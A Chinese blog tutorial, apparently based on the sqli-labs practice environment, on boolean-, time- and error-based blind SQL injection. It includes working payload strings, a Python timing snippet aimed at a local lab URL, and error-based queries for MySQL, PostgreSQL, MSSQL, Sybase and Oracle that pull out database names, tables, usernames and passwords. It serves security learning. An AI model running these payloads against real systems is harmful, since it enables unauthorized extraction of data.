布尔盲注
布尔的盲注
MID()
函数
SQL MID()函数用于得到一个字符串的一部分。这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server, Oracle 数据库中,我们可以使用 SQL SUBSTRING函数或者 SQL SUBSTR函数作为替代。
SELECT MID(column_name,start[,length]) FROM table_name;
*用法:
SELECT MID(ColumnName, Start [, Length]) FROM TableName 示例: mysql> SELECT MID('NowaMagic', 5, 5); +------------------------+ | MID('NowaMagic', 5, 5) | +------------------------+ | Magic | +------------------------+ 1 row in set
substr()函数
SELECT SUBSTR(column_name,start[,length]) FROM table_name;
Left()函数
取一个字符串的前若干位
SELECT LEFT(ARG,LENGTH) FROM table_name;
获取数据库名字长度
payload = "and length(database())=%d--+" % i
获取数据库名字
payload = "and mid(database(),1,%d)='%s'--+" % (i, database + chr(j))
获取表名
payload = "and mid((select table_name from information_schema.tables where table_schema='security' limit %d,1),1,%d)='%s'--+" % (i, k, table_names+chr(j))
获取列名
payload = "and ascii(mid((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit %d,1),%d,1))='%d'--+" % (i, k, j)
爆自段
payload = "and ascii(mid((select username from security.users limit %d,1),%d,1))='%d'--+" % (i, k, j)
时间的SQL盲注
延时注入是主要针对页面无变化、无法用布尔真假判断、无法报错的情况下的注入技术。
延迟注入主要点是在于if()函数的判断、
if(condition,true,false) //条件语句
- condition 是判断条件
- true 和false 是符合condition自定义的返回结果。
本地测试感受一下
mysql> select ascii(mid(database(),1,1)); +----------------------------+ | ascii(mid(database(),1,1)) | +----------------------------+ | 115 | +----------------------------+ 1 row in set (0.00 sec) mysql> select if(ascii(mid(database(),1,1))=115,sleep(5),1); +-----------------------------------------------+ | if(ascii(mid(database(),1,1))=115,sleep(5),1) | +-----------------------------------------------+ | 0 | +-----------------------------------------------+ 1 row in set (5.01 sec) mysql> select if(ascii(mid(database(),1,1))=114,sleep(5),1); +-----------------------------------------------+ | if(ascii(mid(database(),1,1))=114,sleep(5),1) | +-----------------------------------------------+ | 1 | +-----------------------------------------------+ 1 row in set (0.00 sec)
++如果condition
判断为正确,则产生延迟,否则不产生延迟。
至于脚本,修改下上面的脚本进行判断即可。++
url = "http://192.168.2.100/sqli-labs/Less-9/?id=" esndStr = " and sleep(3))--+" payload = "1' and ((ascii(mid((select " + column_name + " from " + database_name + "." + table_name + " limit " + Result + ",1)," + Char + ",1))>" + mid + ")" tempurl = url + payload + esndStr before_time = time.time() requests.head(tempurl) after_time = time.time() use_time = after_time - before_time if abs(use_time) < 0.1: return True else: return False
报错的sql盲注
如果页面上显示数据的报错信息,那么可以直接使用报错的方式把想要的信息爆出来。
比如在mysql中我们可以使用如下的经典语句进行报错。
select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
这是网上流传很广的一个版本,可以简化成如下的形式。
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
如果关键的表被禁用了,可以使用这种形式
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
如果rand被禁用了可以使用用户变量来报错
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
其实这是mysql的一个bug所引起的,其他数据库都不会因为这个问题而报错。
另外,在mysql5.1版本新加入两个xml函数,也可以用来报错。
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1))); ERROR 1105 (HY000): XPATH syntax error: '\admin888' mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1)); ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
而在其他数据库中也可以使用不同的方法构成报错
PostgreSQL: /?param=1 and(1)=cast(version() as numeric)-- MSSQL: /?param=1 and(1)=convert(int,@@version)-- Sybase: /?param=1 and(1)=convert(int,@@version)-- Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--
本文作者:℡回眸抹去乄殘鎦、的繁星
本文链接:https://www.cnblogs.com/NBeveryday/p/18428221/SQLb
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】博客园2025新款「AI繁忙」系列T恤上架,前往周边小店选购
【推荐】凌霞软件回馈社区,携手博客园推出1Panel与Halo联合会员
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步